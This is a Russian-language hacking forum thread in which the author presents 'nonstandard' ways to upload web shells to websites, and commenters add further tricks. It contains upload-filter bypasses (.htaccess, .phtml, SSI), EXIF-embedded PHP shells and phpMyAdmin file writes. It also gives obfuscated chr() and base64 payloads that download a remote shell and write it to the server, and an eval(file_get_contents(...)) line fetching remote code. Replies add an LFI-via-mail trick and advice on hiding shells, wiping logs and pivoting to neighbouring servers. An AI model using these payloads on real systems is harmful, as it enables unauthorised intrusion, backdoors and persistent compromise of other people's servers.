![]() |
Нестандартные способы заливки шелла
Нестандартные способы заливки шелла Итак, сегодня мы будем разбирать несколько далеко не стандартных способов заливки шелла. (В конце изложения имеются линки на видео к статье) Шелл - оболочка операционной системы (от англ. shell — оболочка) — интерпретатор команд операционной системы, обеспечивающий интерфейс для взаимодействия пользователя с функциями системы. Эту статью вам нужно читать в двух случаях: 1.) Для общего развития 2.) Если у вас не получается штатными методами залить шелл. (!!!) Способ №1 - "Обход фильтрации" Допустим, формат .php не заливается, также .php2/.php3/.php4/.php5/ и даже .php.jpg/.php.abc.Варианты решения: 1.) Попробуйте залить .phtml - это также расширение семейства PHP. 2.) Создаём файлик .htaccess, и вписываем в него следующее: PHP код:
Теперь попробуем залить наш .htaccess и вслед за ним шелл, с расширением, указанным в .htaccess'e ??? PROFIT!!! Примечание: .htaccess - файл дополнительной конфигурации веб-сервера Apache, а также подобных ему серверов. 3.) Если методы выше не работают, то расскажу о очень интересном формате - ".shtml". Цитата:
Также бывает, что если мы создадим файл file.shtm?cmd=... то в большинстве случаев скрипт не хотел выполнять системные команды, которые содержат пробел. т.е. "id" он выполнял, "ls" - тоже, а "uname -a" - нет, потому что содержит пробел. Таким образом все фишки типа "wget http://shell.com/shell.php" обламывались. Но не отчаиваетесь - выход есть: Можно написать и скомпилировать програмку, которая выполняет системную команду скачивания шелла (через wget). скомпилировать, и залить её. Потом через SSI скрипт просто напросто выполнить её. Код примера программы: Код:
#include System - команда для выполнения команд ( ) системного интерпретатора. Wget - свободная не-интерактивная консольная программа для загрузки файлов по сети. Поддерживает протоколы HTTP, FTP и HTTPS, а также поддерживает работу через HTTP прокси-сервер. Программа включена почти во все дистрибутивы GNU/Linux return - это то что мы "возвратим" программе, в данном случае ничего include - подключение библиотек компилятора. int main - главная "процедура" (наподобие функции) программы. P.S Варианты shell.php.jpg тут не рассматриваются, т.к о них и так все знают. (Спасибо Mailbrush'у за предоставленный вариант). 4.) Ну, а этот вариант - это использовать плагин на подобии "Tamper Data" (Firefox). Можно перехватить запрос, и изменить расширение, но такой метод самый маловероятный. Обычно он спасает в тех случаях, если php не разрешает какой-нибудь JavaScript. 5.) Пятый вариант - это отличный баг Windows, а именно, иногда сайт не разрешает закачивать PHP таким образом, что когда нажимаешь к примеру на кнопку "Обзор", то он показывает только файлы изображений, и т.п. Но не отчаивайтесь - просто нажмите на этот "Обзор" ( ) зайдите в директорию с шеллом, и наберите тут его имя: http://i31.fastpic.ru/big/2011/1211/...40549869c9.png И нажмите "Открыть", шелл успешно откроется, и закачается 6.) Ну а этот метод не входит в "не стандартную" категорию, он заключается в том, что банальный создатель говорит, что разрешено дескать только .jpg и т.д, но на самом деле это не всегда так, достаточно залить PHP сценарий (шелл), и он будет отлично работать. Как вы поняли - никакой фильтрации нету полностью (ну или уж через чур кривая ) 7.) А этот способ предложил нам |qbz|: Цитата:
8.) Ну этот способ называется шелл в картинке, или exif шелл Итак, начнём: Часто мы пытаемся загрузить наш шелл в формате .jpg и т.п но также часто попадаются файломенеджеры которые с доброй харей любезно сжимают файл да ещё и размер, и понятное дело наш шелл так не заработает, тогда воспользуемся волшебной штукой под названием exif, а делаем так: Берём например paint, создаём картинку хоть 1x1 пикселей, сохраняем в формате .gif или как вам удобней, затем юзаем тулзы для добавления "комментария" к фотке, то есть exif, для этого например подойдёт gimp, открываем в нём наше фото, нажимаем сохранить к примеру в формате .gif и пишем там где Comment или Комментарий, или ещё чего наш код от мини шелла, то есть , сохраняем, льём, делаем так http://site.com/foto.gif?cmd=phpinfo(); и радуемся! также такие "комментарии" можно вставить и в hex редакторе... Подробнее тут Способ №2 - Хитрости PhpMyAdmin Допустим, вы получили доступ к PhpMyAdmin, и вам даже посчастливилось, что File_Priv=Y и Обновление таблиц тоже = Y. Тогда нажимает SQL (Может называться и по другому, и она сверху ). И вписываем следующее: Код:
UPDATE `table_name` SET `column_name_1` = '' WHERE `column_name_2` =[Значение] LIMIT 1 ;Первый запрос гласит о том, что мы изменяем (обновляем) колонку column_name_1 в таблице table_name, где column_name_2 = какому-либо значению. Второй запрос "выдёргивает" данные из колонки column_name_2, находящейся в таблице table_name, и выдёргивает из той, где column_name_2 равен какому-либо значению, затем это логируется в какой-либо файл. Теперь переходим по адресу Код:
host.com/пут_до_той_папки_что_вы_указали/shells.phptable_name - имя таблицы в БД. column_name_1 - эта колонка, которую мы будем "изменять". column_name_2 - это колонка, например id, показывает, какую именно запись в БД мы будем редактировать. Например, column_name_2=id, а table_name=users. Это значит, что мы будем изменять запись в таблице users, где id=n (любое число). Вы, вероятно обратили внимание, что весь php на одной строке и без пробелов, а это не случайность - это всё для вселюбимой PhpMyAdmin, если записать сюда код с переходами на другую строку, то он обязательно вставить "/" перед переходом, что соответственно вызовет ошибку в php скрипте. И ещё нельзя использовать ' ... Также можно вместо: Код:
Код:
Код:
host.com/пут_до_той_папки_что_вы_указали/shells.php?cmd=function_php;Способ (Можно сказать, часть...) №3 - Что касается "Мини-шелла" Итак, опять же допустим, что вы закачали "мини шелл", но теперь бы вам надо залить нормальный, WSO к примеру. Пробуем: Код:
http://host.ru/shell.php?cmd=$url = "Ссылка_на_шелл.txt";$content = file_get_contents($url);$h = fopen("shells.php","w");$text = "$content";fwrite($h,$text);fclose($h);И соответственно, получаем код, к примеру (рабочий): $url = chr(104).chr(116).chr(116).chr(112).chr(58).chr(47 ).chr(47).chr(108).chr(101).chr(103).chr(105).chr( 111).chr(110).chr(101).chr(114).chr(115).chr(56).c hr(56).chr(46).chr(110).chr(97).chr(114).chr(111). chr(100).chr(46).chr(114).chr(117).chr(47).chr(101 ).chr(114).chr(114).chr(111).chr(114).chr(46).chr( 116).chr(120).chr(116); Как видите, без кавычек, а тип будет String Так что теперь делаем код: Код:
$url = chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(108).chr(101).chr(103).chr(105).chr(111).chr(110).chr(101).chr(114).chr(115).chr(56).chr(56).chr(46).chr(110).chr(97).chr(114).chr(111).chr(100).chr(46).chr(114).chr(117).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(116).chr(120).chr(116);$content = file_get_contents($url);$h = fopen(shells.chr(46).php,w);$text = $content;fwrite($h,$text);fclose($h);Заметка: Скорее всего, вы заметили, что у меня написано "shells.chr(46).php", а я объясню, 46 - это точка в "Dec", а имя файла у нас без кавычек, и если бы мы написали shells.php то он бы сохранился как shellsphp, то есть без расширения, т.к точка - это тоже функция в PHP, но я земенил её на shells.chr(46).php и получаем на выходе "shells.php". Вот так, удачи Вам! Впринципе, можно сделать место функции chr() например так: Код:
$url=$_GET[urlz]; $content= file_get_contents($url);$h=fopen($_GET[file],w);$text=$content;fwrite($h,$text);fclose($h);Код HTML:
site.com/eval.php?cmd=$url=$_GET[url];$content= file_get_contents($url);$h=fopen($_GET[file],w);$text=$content;fwrite($h,$text);fclose($h);&url=url_загружаемого_файла&file=название_файла_на_выходеЦитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Также такой код можно представить так: Цитата:
Цитата:
А также, можно использовать Base64. - Но ведь он оканчивается на "==" ?? спросите вы, но вот и нет, этот хвост можно убрать, и код продолжит также прекрасно работать! например, PHPInfo() будет выглядеть так: Код:
Код:
теперь можем убрать кавычки, юзаем так: PHP код:
или тут: http://tools.0x0000ed.com/base64.php Есть мини-шелл, но нету прав =( Допустим, вы залили шелл, и напихали везде мини-шеллов, но ваш шелл потёрли, и урезали права во всех папках, либо другая причина, по которой вы не можете залить нормальный шелл из миника. Для этого делаем так: Идём сюда: http://base64.ru/ Там вписываем такой код: PHP код:
PHP код:
PHP код:
Окончание: Это всего-лишь малая часть всех чудных способов не стандартной заливки, я просто попытался направить вас на тот путь, что выход есть всегда (почти ). С уважением, Osstudio! Подборка видео к статье: "Заливка шелла через PhpMyAdmin. Из мини-шелла в WSO." |
Эмм.. А я думал это и есть стандартные способы
|
Цитата:
|
Отличная статья! Написано очень грамотно и методы актуальнейшие, сразу видно проффесионала в своей области! ТС пиши почаще...
|
Цитата:
А если вы располагаете новыми, прошу в ЛС на описание, добавим в статью |
Цитата:
|
ТС, запости это на рдоте, ок?
|
Цитата:
Цитата:
загрузка шелла по фтп с одобрения админа что ли? |
Цитата:
Заголовок, кстати, исправьте. |
Цитата:
Лучше бы про это расписать. Такие примеры на ачате видел. |
Цитата:
P.S Кстати, знаешь мне почему обидна критика к моей статье? Да потому-что почти все методы я сам придумал. Хоть они уже и были.. Так что рекомендую промолчать, новометоцец. |
Цитата:
P.s ТС, редко бывает черный список форматов, которые нельзя заливать. Скорее бывает "белый" список |
Цитата:
Например эти редакторы сообщений в админке.. |
Интересная статья, много подчеркнул для себя
|
Ждем видео
|
Цитата:
|
Цитата:
чтоб меня убили, пожарили и съели.. |
Цитата:
|
Цитата:
Цитата:
UPD: Сделал 1 видео, ссылка в конце статьи |
Цитата:
|
С одной стороны, зная возраст ТС, как-то не хочется критиковать. Ведь это еще "начала", и на данном этапе у ТС ярко выражен энтузиазм и желание открыть что-то новое как для себя, так и для других.
Но с другой стороны меня всегда поражают люди (причем не с хорошей стороны), которые выходят танцевать на сцену, дабы показать зрителям их мастерство после недели-двух тренировок. Думаю мысль моя ясна и понятна. Я посмею дополнить топик еще одним способом, о котором знаю, а именно заливка шелла через обычное мыльное письмецо. Делается просто. Например у нас есть какая-нить CMS-ка или даже просто самописный двиг, в котором где-то, куда-то иногда отправляются письма. Например, с активацией регистрации и так далее. Дело в том, что такие письма могут быть локально сохранены на nix-системах. Если рассматривать как пример форму активации аккаунта, то введем, например, как логин eval($_GET['c']); а как свое мыло впишем apache@localhost. Таким образом письмо будет отправлено на тот же демон хттпд и сохранено где-то в /var/mail с именем юзера хттпд. Думаю далее действия очевидны, имея, например, локальный инклуд мы можем прогрузить шелл инклудя письмецо с передачей кода загрузки шелла в параметре $_GET['c']. |
"Мини-шелл", - убило нах
Вообще, ТС, твой "мини-шелл" правильно называть бэк-дором. И это есть стандартные методы заливки. Если бы обьяснил как сделать инклуд бэк-дора в index.php к примеру, то статья заслужила бы название "не стандартные..." |
Это все конечно хорошо, но обсуждалось уже 100500 раз, смотреть нужно по ситуации, что там есть чтобы залиться, не только же через админки льют. И про phpmyadmin тоже обсуждалось, и видео такое же снимали...
Дополнение тебе: При неправильной конфигурации сервера если залить на сервер что то типа такого asdf.php.asdf, то есть вероятность что выполниться php. Потому как сервер будет сначала искать расширение asdf и после того как не найдет выполнит php. (могу конечно ошибаться с описанием, но такой способ у меня срабатывал несколько раз как на nix так и на windows серверах). |
Цитата:
Цитата:
Цитата:
|
Уберите либо "не" из заголовка, либо пробел после "не". Желательно первое.
|
Цитата:
|
Цитата:
Меня в яслях небыло. |
Спасибо. Оформлено читабельно.
Видно что ТС старался, в написании и оформлении статьи. |
Цитата:
|
Доп:
1.Вообще можно заевалить WSO без его физической загрузки на сервер. Для этого убираем Остальное заевалим таким способом: http://site.ru/backdoor.php?cmd=eval(file_get_contents('http://url/ws.txt')); 2. Загрузка прямо из компьютера, евалим это: PHP код:
|
СПС тебе тс, критиковать все могут, а сами не то что статью, тупо помочь в чем то обламываются и ответить на вопросы новичков бояться, что если новичек узнает и начнет шарить в чем то то все их бизу конец
|
Цитата:
Как было написано в статье, то почти всегда нельзя использовать кавычки, и поэтому я и использовать chr(); И без физ.загрузки это уже не "шелл на сервере", да и зачем такая сложная форма загрузки на сервер? в моей статье всё расписано, как проще сделать. Цитата:
P.S И вообще, дорогие РОА, МОА, сами посмотрите, что кроме вас, которые это уже знают, есть очень много людей, которым это нужно. |
Osstudio, а разница?)
|
Цитата:
|
Цитата:
Цитата:
Цитата:
Я бы на месте модератора РОА взял туда ТСа, что бы его посты не индексировались гуглом ) |
Цитата:
Ну а так в целом я думаю тс шарит нормально и он думаю был бы не против |
Цитата:
А насчёт ::facepalm::, eval(eval) - на мой взгляд полный бред |
Цитата:
Цитата:
PHP код:
Цитата:
|
ТС, скажи мне лучше как ты прячешь шеллы на сервере. Мне не для того, чтобы узнать, а просто интересно, что ты знаешь в данной области.
|
Цитата:
2.) Запрячу в самом дальнем каталоге, где много фалов. 3.) Почищу логи 4.) Изменю дату создания файла 5.) Заодно делаю бинд порт, если удалят, он часто остаётся. 6.) Да и много ещё чего придумать можно. Также сначала рутаю, затем кидаю на соседние сервера, чтобы потом с них пробиться можно было, на соседах также выполняю пункты выше. P.S А ты? |
| Время: 01:00 |